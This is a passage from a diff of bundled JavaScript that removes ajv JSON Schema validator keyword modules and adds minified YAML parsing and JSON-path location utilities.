(0 !== e13.mappings.length) + for (const t11 of e13.mappings) + o7.isObject(t11) && (yield t11); + break; + case r8.Kind.MAPPING: + o7.isObject(e13.key) && (yield e13.key), o7.isObject(e13.value) && (yield e13.value); + break; + case r8.Kind.SEQ: + if (0 !== e13.items.length) + for (const t11 of e13.items) + o7.isObject(t11) && (yield t11); + break; + case r8.Kind.SCALAR: + yield e13; } - gen.if(schValid, () => { - gen.assign(valid, true); - gen.assign(passing, i7); - if (schCxt) - cxt.mergeEvaluated(schCxt, codegen_1.Name); - }); - }); + }(e12)) + if (s8.startPosition <= t10 && t10 <= s8.endPosition) + return s8.kind === r8.Kind.SCALAR ? s8 : a7(s8, t10, i9, n9); + if (n9[i9 - 1] === n9[i9] - 1) + return e12; + if (e12.startPosition < n9[i9 - 1] && t10 <= e12.endPosition) { + if (e12.kind !== r8.Kind.MAPPING) + return s7(e12, i9, n9); + if (e12.value && e12.key.endPosition < t10) + return s7(e12.value, i9, n9); + } + return e12; } - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/allOf.js -var require_allOf = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/allOf.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var util_1 = require_util(); - var def = { - keyword: "allOf", - schemaType: "array", - code(cxt) { - const { gen, schema: schema8, it: it2 } = cxt; - if (!Array.isArray(schema8)) - throw new Error("ajv implementation error"); - const valid = gen.name("valid"); - schema8.forEach((sch, i7) => { - if ((0, util_1.alwaysValidSchema)(it2, sch)) + t9.getJsonPathForPosition = ({ ast: e12, lineMap: t10 }, { line: i9, character: r9 }) => { + if (i9 >= t10.length || r9 >= t10[i9]) return; - const schCxt = cxt.subschema({ keyword: "allOf", schemaProp: i7 }, valid); - cxt.ok(valid); - cxt.mergeEvaluated(schCxt); - }); - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/if.js -var require_if = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/if.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var error2 = { - message: ({ params }) => (0, codegen_1.str)`must match "${params.ifClause}" schema`, - params: ({ params }) => (0, codegen_1._)`{failingKeyword: ${params.ifClause}}` - }; - var def = { - keyword: "if", - schemaType: ["object", "boolean"], - trackErrors: true, - error: error2, - code(cxt) { - const { gen, parentSchema, it: it2 } = cxt; - if (parentSchema.then === void 0 && parentSchema.else === void 0) { - (0, util_1.checkStrictMode)(it2, '"if" without "then" and "else" is ignored'); + const s8 = 0 === i9 ? 0 : t10[i9 - 1] + 1, p7 = a7(e12, Math.min(t10[i9] - 1, s8 + r9), i9, t10); + if (!o7.isObject(p7)) + return; + const c7 = n8.buildJsonPath(p7); + return 0 !== c7.length ? c7 : void 0; + }; + }, 70581: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(61162), r8 = i8(82585), o7 = i8(88725); + function s7(e12, t10) { + if (e12.parent && e12.parent.kind === r8.Kind.MAPPING) { + if (null === e12.parent.value) + return e12.parent.endPosition; + if (e12.kind !== r8.Kind.SCALAR) + return e12.parent.key.endPosition + 1; + } + return null === e12.parent && t10 - e12.startPosition == 0 ? 0 : e12.startPosition; } - const hasThen = hasSchema(it2, "then"); - const hasElse = hasSchema(it2, "else"); - if (!hasThen && !hasElse) - return; - const valid = gen.let("valid", true); - const schValid = gen.name("_valid"); - validateIf(); - cxt.reset(); - if (hasThen && hasElse) { - const ifClause = gen.let("ifClause"); - cxt.setParams({ ifClause }); - gen.if(schValid, validateClause("then", ifClause), validateClause("else", ifClause)); - } else if (hasThen) { - gen.if(schValid, validateClause("then")); - } else { - gen.if((0, codegen_1.not)(schValid), validateClause("else")); + function a7(e12) { + switch (e12.kind) { + case r8.Kind.SEQ: + const { items: t10 } = e12; + if (0 !== t10.length) { + const e13 = t10[t10.length - 1]; + if (null !== e13) + return a7(e13); + } + break; + case r8.Kind.MAPPING: + if (null !== e12.value) + return a7(e12.value); + break; + case r8.Kind.MAP: + if (null !== e12.value && 0 !== e12.mappings.length) + return a7(e12.mappings[e12.mappings.length - 1]); + break; + case r8.Kind.SCALAR: + if (null !== e12.parent && e12.parent.kind === r8.Kind.MAPPING && null === e12.parent.value) + return e12.parent.endPosition; + } + return e12.endPosition; } - cxt.pass(valid, () => cxt.error(true)); - function validateIf() { - const schCxt = cxt.subschema({ - keyword: "if", - compositeRule: true, - createErrors: false, - allErrors: false - }, schValid); - cxt.mergeEvaluated(schCxt); + function p7(e12, t10) { + return t10 ? e12.reduce((e13, t11) => (o7.isObject(t11) && ("<<" === t11.key.value ? e13.push(...c7(t11.value)) : e13.push(t11)), e13), []) : e12; } - function validateClause(keyword, ifClause) { - return () => { - const schCxt = cxt.subschema({ keyword }, schValid); - gen.assign(valid, schValid); - cxt.mergeValidEvaluated(schCxt, valid); - if (ifClause) - gen.assign(ifClause, (0, codegen_1._)`${keyword}`); - else - cxt.setParams({ ifClause: keyword }); - }; + function c7(e12) { + if (!o7.isObject(e12)) + return []; + switch (e12.kind) { + case r8.Kind.SEQ: + return e12.items.reduceRight((e13, t10) => (e13.push(...c7(t10)), e13), []); + case r8.Kind.MAP: + return e12.mappings; + case r8.Kind.ANCHOR_REF: + return c7(e12.value); + default: + return []; + } } - } - }; - function hasSchema(it2, keyword) { - const schema8 = it2.schema[keyword]; - return schema8 !== void 0 && !(0, util_1.alwaysValidSchema)(it2, schema8); - } - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/thenElse.js -var require_thenElse = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/thenElse.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var util_1 = require_util(); - var def = { - keyword: ["then", "else"], - schemaType: ["object", "boolean"], - code({ keyword, parentSchema, it: it2 }) { - if (parentSchema.if === void 0) - (0, util_1.checkStrictMode)(it2, `"${keyword}" without "if" is ignored`); - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/index.js -var require_applicator = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/index.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var additionalItems_1 = require_additionalItems(); - var prefixItems_1 = require_prefixItems(); - var items_1 = require_items(); - var items2020_1 = require_items2020(); - var contains_1 = require_contains(); - var dependencies_1 = require_dependencies(); - var propertyNames_1 = require_propertyNames(); - var additionalProperties_1 = require_additionalProperties(); - var properties_1 = require_properties(); - var patternProperties_1 = require_patternProperties(); - var not_1 = require_not(); - var anyOf_1 = require_anyOf(); - var oneOf_1 = require_oneOf(); - var allOf_1 = require_allOf(); - var if_1 = require_if(); - var thenElse_1 = require_thenElse(); - function getApplicator(draft2020 = false) { - const applicator = [ - // any - not_1.default, - anyOf_1.default, - oneOf_1.default, - allOf_1.default, - if_1.default, - thenElse_1.default, - // object - propertyNames_1.default, - additionalProperties_1.default, - dependencies_1.default, - properties_1.default, - patternProperties_1.default - ]; - if (draft2020) - applicator.push(prefixItems_1.default, items2020_1.default); - else - applicator.push(additionalItems_1.default, items_1.default); - applicator.push(contains_1.default); - return applicator; - } - exports28.default = getApplicator; - } -}); - -// node_modules/ajv/dist/vocabularies/dynamic/dynamicAnchor.js -var require_dynamicAnchor = __commonJS({ - "node_modules/ajv/dist/vocabularies/dynamic/dynamicAnchor.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.dynamicAnchor = void 0; - var codegen_1 = require_codegen(); - var names_1 = require_names(); - var compile_1 = require_compile(); - var ref_1 = require_ref(); - var def = { - keyword: "$dynamicAnchor", - schemaType: "string", - code: (cxt) => dynamicAnchor(cxt, cxt.schema) - }; - function dynamicAnchor(cxt, anchor) { - const { gen, it: it2 } = cxt; - it2.schemaEnv.root.dynamicAnchors[anchor] = true; - const v8 = (0, codegen_1._)`${names_1.default.dynamicAnchors}${(0, codegen_1.getProperty)(anchor)}`; - const validate15 = it2.errSchemaPath === "#" ? it2.validateName : _getValidate(cxt); - gen.if((0, codegen_1._)`!${v8}`, () => gen.assign(v8, validate15)); - } - exports28.dynamicAnchor = dynamicAnchor; - function _getValidate(cxt) { - const { schemaEnv, schema: schema8, self: self2 } = cxt.it; - const { root: root2, baseId, localRefs, meta } = schemaEnv.root; - const { schemaId } = self2.opts; - const sch = new compile_1.SchemaEnv({ schema: schema8, schemaId, root: root2, baseId, localRefs, meta }); - compile_1.compileSchema.call(self2, sch); - return (0, ref_1.getValidate)(cxt, sch); - } - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/dynamic/dynamicRef.js -var require_dynamicRef = __commonJS({ - "node_modules/ajv/dist/vocabularies/dynamic/dynamicRef.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.dynamicRef = void 0; - var codegen_1 = require_codegen(); - var names_1 = require_names(); - var ref_1 = require_ref(); - var def = { - keyword: "$dynamicRef", - schemaType: "string", - code: (cxt) => dynamicRef(cxt, cxt.schema) - }; - function dynamicRef(cxt, ref) { - const { gen, keyword, it: it2 } = cxt; - if (ref[0] !== "#") - throw new Error(`"${keyword}" only supports hash fragment reference`); - const anchor = ref.slice(1); - if (it2.allErrors) { - _dynamicRef(); - } else { - const valid = gen.let("valid", false); - _dynamicRef(valid); - cxt.ok(valid); - } - function _dynamicRef(valid) { - if (it2.schemaEnv.root.dynamicAnchors[anchor]) { - const v8 = gen.let("_v", (0, codegen_1._)`${names_1.default.dynamicAnchors}${(0, codegen_1.getProperty)(anchor)}`); - gen.if(v8, _callRef(v8, valid), _callRef(it2.validateName, valid)); - } else { - _callRef(it2.validateName, valid)(); + t9.getLocationForJsonPath = ({ ast: e12, lineMap: t10, metadata: i9 }, n9, c8 = false) => { + const f8 = function(e13, t11, { closest: i10, mergeKeys: n10 }) { + e: + for (const s8 of t11) { + if (!o7.isObject(e13)) + return i10 ? e13 : void 0; + switch (e13.kind) { + case r8.Kind.MAP: + const t12 = p7(e13.mappings, n10); + for (let i11 = t12.length - 1; i11 >= 0; i11--) { + const n11 = t12[i11]; + if (n11.key.value === s8) { + e13 = null === n11.value ? n11.key : n11.value; + continue e; + } + } + return i10 ? e13 : void 0; + case r8.Kind.SEQ: + for (let t13 = 0; t13 < e13.items.length; t13++) + if (t13 === Number(s8)) { + const i11 = e13.items[t13]; + if (null === i11) + break; + e13 = i11; + continue e; + } + return i10 ? e13 : void 0; + default: + return i10 ? e13 : void 0; + } + } + return e13; + }(e12, n9, { closest: c8, mergeKeys: void 0 !== i9 && true === i9.mergeKeys }); + if (void 0 !== f8) + return d7(t10, { start: s7(f8, t10.length > 0 ? t10[0] : 0), end: a7(f8) }); + }; + const d7 = (e12, { start: t10 = 0, end: i9 = 0 }) => { + const r9 = n8.lineForPosition(t10, e12), o8 = n8.lineForPosition(i9, e12); + return { range: { start: { line: r9, character: t10 - (0 === r9 ? 0 : e12[r9 - 1]) }, end: { line: o8, character: i9 - (0 === o8 ? 0 : e12[o8 - 1]) } } }; + }; + }, 3740: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(29180); + n8.__exportStar(i8(2185), t9), n8.__exportStar(i8(79157), t9), n8.__exportStar(i8(77665), t9), n8.__exportStar(i8(70581), t9), n8.__exportStar(i8(61162), t9); + var r8 = i8(36527); + t9.parse = r8.parse; + var o7 = i8(53241); + t9.parseWithPointers = o7.parseWithPointers, n8.__exportStar(i8(74958), t9), n8.__exportStar(i8(82585), t9), n8.__exportStar(i8(60519), t9); + }, 61162: (e11, t9) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.lineForPosition = (e12, i8, n8 = 0, r8) => { + if (0 === e12 || 0 === i8.length || e12 < i8[0]) + return 0; + void 0 === r8 && (r8 = i8.length); + const o7 = Math.floor((r8 - n8) / 2) + n8; + if (e12 >= i8[o7] && !i8[o7 + 1]) + return o7 + 1; + const s7 = i8[Math.min(o7 + 1, i8.length)]; + return e12 === i8[o7] - 1 ? o7 : e12 >= i8[o7] && e12 <= s7 ? e12 === s7 ? o7 + 2 : o7 + 1 : e12 > i8[o7] ? t9.lineForPosition(e12, i8, o7 + 1, r8) : t9.lineForPosition(e12, i8, n8, o7 - 1); + }; + }, 36527: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(53241); + t9.parse = (e12) => n8.parseWithPointers(e12).data; + }, 53241: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(93643), r8 = i8(29824), o7 = i8(85725), s7 = i8(2185), a7 = i8(79157), p7 = i8(61162), c7 = i8(82585), d7 = i8(88725); + t9.parseWithPointers = (e12, t10) => { + const i9 = h8(e12), n9 = o7.load(e12, Object.assign({}, t10, { ignoreDuplicateKeys: true })), r9 = { ast: n9, lineMap: i9, data: void 0, diagnostics: [], metadata: t10, comments: {} }; + if (!n9) + return r9; + const s8 = function(e13) { + return void 0 === e13 ? { attachComments: false, preserveKeyOrder: false, bigInt: false, mergeKeys: false, json: true, ignoreDuplicateKeys: false } : Object.assign({}, e13, { attachComments: true === e13.attachComments, preserveKeyOrder: true === e13.preserveKeyOrder, bigInt: true === e13.bigInt, mergeKeys: true === e13.mergeKeys, json: false !== e13.json, ignoreDuplicateKeys: false !== e13.ignoreDuplicateKeys }); + }(t10), a8 = new P6(r9.comments, P6.mapComments(s8.attachComments && n9.comments ? n9.comments : [], i9), n9, i9, "#"), p8 = { lineMap: i9, diagnostics: r9.diagnostics }; + return r9.data = u7(p8, n9, a8, s8), n9.errors && r9.diagnostics.push(...g7(n9.errors, i9)), r9.diagnostics.length > 0 && r9.diagnostics.sort((e13, t11) => e13.range.start.line - t11.range.start.line), Array.isArray(r9.ast.errors) && (r9.ast.errors.length = 0), r9; + }; + const f8 = /~/g, l7 = /\//g, u7 = (e12, t10, i9, n9) => { + if (t10) + switch (t10.kind) { + case c7.Kind.MAP: { + const r9 = i9.enter(t10), { lineMap: o8, diagnostics: s8 } = e12, { preserveKeyOrder: a8, ignoreDuplicateKeys: p8, json: c8, mergeKeys: d8 } = n9, h9 = v8(a8), y8 = [], g8 = d8, j7 = !c8, _7 = !p8; + for (const i10 of t10.mappings) { + if (!x7(i10, o8, s8, j7)) + continue; + const t11 = String(m7(i10.key)), p9 = r9.enter(i10, t11.replace(f8, "~0").replace(l7, "~1")); + if ((j7 || _7) && (!g8 || "<<" !== t11)) + if (y8.includes(t11)) { + if (j7) + throw new Error("Duplicate YAML mapping key encountered"); + _7 && s8.push(w6(i10.key, o8, "duplicate key")); + } else + y8.push(t11); + if (g8 && "<<" === t11) { + const t12 = b8(u7(e12, i10.value, p9, n9), a8); + Object.assign(h9, t12); + } else + h9[t11] = u7(e12, i10.value, p9, n9), a8 && $5(h9, t11); + p9.attachComments(); + } + return r9.attachComments(), h9; + } + case c7.Kind.SEQ: { + const r9 = i9.enter(t10), o8 = t10.items.map((t11, i10) => { + if (null !== t11) { + const o9 = r9.enter(t11, i10), s8 = u7(e12, t11, o9, n9); + return o9.attachComments(), s8; + } + return null; + }); + return r9.attachComments(), o8; + } + case c7.Kind.SCALAR: { + const e13 = m7(t10); + return n9.bigInt || "bigint" != typeof e13 ? e13 : Number(e13); + } + case c7.Kind.ANCHOR_REF: + return d7.isObject(t10.value) && (t10.value = a7.dereferenceAnchor(t10.value, t10.referencesAnchor)), u7(e12, t10.value, i9, n9); + default: + return null; + } + return t10; + }; + function m7(e12) { + switch (o7.determineScalarType(e12)) { + case c7.ScalarType.null: + return null; + case c7.ScalarType.string: + return String(e12.value); + case c7.ScalarType.bool: + return o7.parseYamlBoolean(e12.value); + case c7.ScalarType.int: + return o7.parseYamlBigInteger(e12.value); + case c7.ScalarType.float: + return o7.parseYamlFloat(e12.value); + } } - } - function _callRef(validate15, valid) { - return valid ? () => gen.block(() => { - (0, ref_1.callRef)(cxt, validate15); - gen.let(valid, true); - }) : () => (0, ref_1.callRef)(cxt, validate15); - } - } - exports28.dynamicRef = dynamicRef; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/dynamic/recursiveAnchor.js -var require_recursiveAnchor = __commonJS({ - "node_modules/ajv/dist/vocabularies/dynamic/recursiveAnchor.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var dynamicAnchor_1 = require_dynamicAnchor(); - var util_1 = require_util(); - var def = { - keyword: "$recursiveAnchor", - schemaType: "boolean", - code(cxt) { - if (cxt.schema) - (0, dynamicAnchor_1.dynamicAnchor)(cxt, ""); - else - (0, util_1.checkStrictMode)(cxt.it, "$recursiveAnchor: false is ignored"); - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/dynamic/recursiveRef.js -var require_recursiveRef = __commonJS({ - "node_modules/ajv/dist/vocabularies/dynamic/recursiveRef.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var dynamicRef_1 = require_dynamicRef(); - var def = { - keyword: "$recursiveRef", - schemaType: "string", - code: (cxt) => (0, dynamicRef_1.dynamicRef)(cxt, cxt.schema) - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/dynamic/index.js -var require_dynamic = __commonJS({ - "node_modules/ajv/dist/vocabularies/dynamic/index.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var dynamicAnchor_1 = require_dynamicAnchor(); - var dynamicRef_1 = require_dynamicRef(); - var recursiveAnchor_1 = require_recursiveAnchor(); - var recursiveRef_1 = require_recursiveRef(); - var dynamic = [dynamicAnchor_1.default, dynamicRef_1.default, recursiveAnchor_1.default, recursiveRef_1.default]; - exports28.default = dynamic; - } -}); - -// node_modules/ajv/dist/vocabularies/validation/dependentRequired.js -var require_dependentRequired = __commonJS({ - "node_modules/ajv/dist/vocabularies/validation/dependentRequired.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var dependencies_1 = require_dependencies(); - var def = { - keyword: "dependentRequired", - type: "object", - schemaType: "object", - error: dependencies_1.error, - code: (cxt) => (0, dependencies_1.validatePropertyDeps)(cxt) - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/dependentSchemas.js -var require_dependentSchemas = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/dependentSchemas.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var dependencies_1 = require_dependencies(); - var def = { - keyword: "dependentSchemas", - type: "object", - schemaType: "object", - code: (cxt) => (0, dependencies_1.validateSchemaDeps)(cxt) - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/validation/limitContains.js -var require_limitContains = __commonJS({ - "node_modules/ajv/dist/vocabularies/validation/limitContains.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var util_1 = require_util(); - var def = { - keyword: ["maxContains", "minContains"], - type: "array", - schemaType: "number", - code({ keyword, parentSchema, it: it2 }) { - if (parentSchema.contains === void 0) { - (0, util_1.checkStrictMode)(it2, `"${keyword}" without "contains" is ignored`); + const h8 = (e12) => { + const t10 = []; + let i9 = 0; + for (; i9 < e12.length; i9++) + "\n" === e12[i9] && t10.push(i9 + 1); + return t10.push(i9 + 1), t10; + }; + function y7(e12, t10) { + return 0 === t10 ? Math.max(0, e12[0] - 1) : Math.max(0, e12[t10] - e12[t10 - 1] - 1); } - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/next.js -var require_next = __commonJS({ - "node_modules/ajv/dist/vocabularies/next.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var dependentRequired_1 = require_dependentRequired(); - var dependentSchemas_1 = require_dependentSchemas(); - var limitContains_1 = require_limitContains(); - var next = [dependentRequired_1.default, dependentSchemas_1.default, limitContains_1.default]; - exports28.default = next; - } -}); - -// node_modules/ajv/dist/vocabularies/unevaluated/unevaluatedProperties.js -var require_unevaluatedProperties = __commonJS({ - "node_modules/ajv/dist/vocabularies/unevaluated/unevaluatedProperties.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var names_1 = require_names(); - var error2 = { - message: "must NOT have unevaluated properties", - params: ({ params }) => (0, codegen_1._)`{unevaluatedProperty: ${params.unevaluatedProperty}}` - }; - var def = { - keyword: "unevaluatedProperties", - type: "object", - schemaType: ["boolean", "object"], - trackErrors: true, - error: error2, - code(cxt) { - const { gen, schema: schema8, data, errsCount, it: it2 } = cxt; - if (!errsCount) - throw new Error("ajv implementation error"); - const { allErrors, props } = it2; - if (props instanceof codegen_1.Name) { - gen.if((0, codegen_1._)`${props} !== true`, () => gen.forIn("key", data, (key) => gen.if(unevaluatedDynamic(props, key), () => unevaluatedPropCode(key)))); - } else if (props !== true) { - gen.forIn("key", data, (key) => props === void 0 ? unevaluatedPropCode(key) : gen.if(unevaluatedStatic(props, key), () => unevaluatedPropCode(key))); + const g7 = (e12, t10) => { + const i9 = []; + let n9 = -1, o8 = 0; + for (const s8 of e12) { + const e13 = { code: s8.name, message: s8.reason, severity: s8.isWarning ? r8.DiagnosticSeverity.Warning : r8.DiagnosticSeverity.Error, range: { start: { line: s8.mark.line, character: s8.mark.column }, end: { line: s8.mark.line, character: s8.mark.toLineEnd ? y7(t10, s8.mark.line) : s8.mark.column } } }; + "missed comma between flow collection entries" === s8.reason ? n9 = -1 === n9 ? o8 : n9 : -1 !== n9 && (i9[n9].range.end = e13.range.end, i9[n9].message = "invalid mixed usage of block and flow styles", i9.length = n9 + 1, o8 = i9.length, n9 = -1), i9.push(e13), o8++; + } + return i9; + }, b8 = (e12, t10) => Array.isArray(e12) ? e12.reduceRight(t10 ? (e13, t11) => { + const i9 = Object.keys(t11); + Object.assign(e13, t11); + for (let t12 = i9.length - 1; t12 >= 0; t12--) + r9 = e13, o8 = i9[t12], j6(r9, o8), n8.getOrder(r9).unshift(o8); + var r9, o8; + return e13; + } : (e13, t11) => Object.assign(e13, t11), v8(t10)) : "object" != typeof e12 || null === e12 ? null : Object(e12); + function v8(e12) { + return e12 ? n8.default({}) : {}; } - it2.props = true; - cxt.ok((0, codegen_1._)`${errsCount} === ${names_1.default.errors}`); - function unevaluatedPropCode(key) { - if (schema8 === false) { - cxt.setParams({ unevaluatedProperty: key }); - cxt.error(); - if (!allErrors) - gen.break(); + function j6(e12, t10) { + if (!(t10 in e12)) return; - } - if (!(0, util_1.alwaysValidSchema)(it2, schema8)) { - const valid = gen.name("valid"); - cxt.subschema({ - keyword: "unevaluatedProperties", - dataProp: key, - dataPropType: util_1.Type.Str - }, valid); - if (!allErrors) - gen.if((0, codegen_1.not)(valid), () => gen.break()); - } + const i9 = n8.getOrder(e12), r9 = i9.indexOf(t10); + -1 !== r9 && i9.splice(r9, 1); } - function unevaluatedDynamic(evaluatedProps, key) { - return (0, codegen_1._)`!${evaluatedProps} || !${evaluatedProps}[${key}]`; + function $5(e12, t10) { + j6(e12, t10), n8.getOrder(e12).push(t10); } - function unevaluatedStatic(evaluatedProps, key) { - const ps = []; - for (const p7 in evaluatedProps) { - if (evaluatedProps[p7] === true) - ps.push((0, codegen_1._)`${key} !== ${p7}`); + function x7(e12, t10, i9, n9) { + if (e12.key.kind !== c7.Kind.SCALAR) + return n9 || i9.push(_6(e12.key, t10, "mapping key must be a string scalar", n9)), false; + if (!n9) { + const r9 = typeof m7(e12.key); + "string" !== r9 && i9.push(_6(e12.key, t10, `mapping key must be a string scalar rather than ${null === e12.key.valueObject ? "null" : r9}`, n9)); } - return (0, codegen_1.and)(...ps); + return true; } - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/unevaluated/unevaluatedItems.js -var require_unevaluatedItems = __commonJS({ - "node_modules/ajv/dist/vocabularies/unevaluated/unevaluatedItems.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var error2 = { - message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, - params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` - }; - var def = { - keyword: "unevaluatedItems", - type: "array", - schemaType: ["boolean", "object"], - error: error2, - code(cxt) { - const { gen, schema: schema8, data, it: it2 } = cxt; - const items = it2.items || 0; - if (items === true) - return; - const len = gen.const("len", (0, codegen_1._)`${data}.length`); - if (schema8 === false) { - cxt.setParams({ len: items }); - cxt.fail((0, codegen_1._)`${len} > ${items}`); - } else if (typeof schema8 == "object" && !(0, util_1.alwaysValidSchema)(it2, schema8)) { - const valid = gen.var("valid", (0, codegen_1._)`${len} <= ${items}`); - gen.if((0, codegen_1.not)(valid), () => validateItems(valid, items)); - cxt.ok(valid); + function _6(e12, t10, i9, n9) { + const o8 = w6(e12, t10, i9); + return o8.code = "YAMLIncompatibleValue", o8.severity = n9 ? r8.DiagnosticSeverity.Hint : r8.DiagnosticSeverity.Warning, o8; } - it2.items = true; - function validateItems(valid, from) { - gen.forRange("i", from, len, (i7) => { - cxt.subschema({ keyword: "unevaluatedItems", dataProp: i7, dataPropType: util_1.Type.Num }, valid); - if (!it2.allErrors) - gen.if((0, codegen_1.not)(valid), () => gen.break()); - }); + function w6(e12, t10, i9) { + return { code: "YAMLException", message: i9, severity: r8.DiagnosticSeverity.Error, path: s7.buildJsonPath(e12), range: S6(t10, e12.startPosition, e12.endPosition) }; } - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/unevaluated/index.js -var require_unevaluated = __commonJS({ - "node_modules/ajv/dist/vocabularies/unevaluated/index.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var unevaluatedProperties_1 = require_unevaluatedProperties(); - var unevaluatedItems_1 = require_unevaluatedItems(); - var unevaluated = [unevaluatedProperties_1.default, unevaluatedItems_1.default]; - exports28.default = unevaluated; - } -}); - -// node_modules/ajv/dist/vocabularies/format/format.js -var require_format = __commonJS({ - "node_modules/ajv/dist/vocabularies/format/format.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var codegen_1 = require_codegen(); - var error2 = { - message: ({ schemaCode }) => (0, codegen_1.str)`must match format "${schemaCode}"`, - params: ({ schemaCode }) => (0, codegen_1._)`{format: ${schemaCode}}` - }; - var def = { - keyword: "format", - type: ["number", "string"], - schemaType: "string", - $data: true, - error: error2, - code(cxt, ruleType) { - const { gen, data, $data, schema: schema8, schemaCode, it: it2 } = cxt; - const { opts, errSchemaPath, schemaEnv, self: self2 } = it2; - if (!opts.validateFormats) - return; - if ($data) - validate$DataFormat(); - else - validateFormat(); - function validate$DataFormat() { - const fmts = gen.scopeValue("formats", { - ref: self2.formats, - code: opts.code.formats - }); - const fDef = gen.const("fDef", (0, codegen_1._)`${fmts}[${schemaCode}]`); - const fType = gen.let("fType"); - const format5 = gen.let("format"); - gen.if((0, codegen_1._)`typeof ${fDef} == "object" && !(${fDef} instanceof RegExp)`, () => gen.assign(fType, (0, codegen_1._)`${fDef}.type || "string"`).assign(format5, (0, codegen_1._)`${fDef}.validate`), () => gen.assign(fType, (0, codegen_1._)`"string"`).assign(format5, fDef)); - cxt.fail$data((0, codegen_1.or)(unknownFmt(), invalidFmt())); - function unknownFmt() { - if (opts.strictSchema === false) - return codegen_1.nil; - return (0, codegen_1._)`${schemaCode} && !${format5}`; - } - function invalidFmt() { - const callFormat = schemaEnv.$async ? (0, codegen_1._)`(${fDef}.async ? await ${format5}(${data}) : ${format5}(${data}))` : (0, codegen_1._)`${format5}(${data})`; - const validData = (0, codegen_1._)`(typeof ${format5} == "function" ? ${callFormat} : ${format5}.test(${data}))`; - return (0, codegen_1._)`${format5} && ${format5} !== true && ${fType} === ${ruleType} && !${validData}`; - } + function S6(e12, t10, i9) { + const n9 = p7.lineForPosition(t10, e12), r9 = p7.lineForPosition(i9, e12); + return { start: { line: n9, character: 0 === n9 ? t10 : t10 - e12[n9 - 1] }, end: { line: r9, character: 0 === r9 ? i9 : i9 - e12[r9 - 1] } }; } - function validateFormat() { - const formatDef = self2.formats[schema8]; - if (!formatDef) { - unknownFormat(); - return; + class P6 { + constructor(e12, t10, i9, n9, r9) { + if (this.attachedComments = e12, this.node = i9, this.lineMap = n9, this.pointer = r9, 0 === t10.length) + this.comments = []; + else { + const e13 = this.getStartPosition(i9), n10 = this.getEndPosition(i9), r10 = p7.lineForPosition(e13, this.lineMap), o8 = p7.lineForPosition(n10, this.lineMap), s8 = []; + for (let e14 = t10.length - 1; e14 >= 0; e14--) { + const i10 = t10[e14]; + i10.range.start.line >= r10 && i10.range.end.line <= o8 && (s8.push(i10), 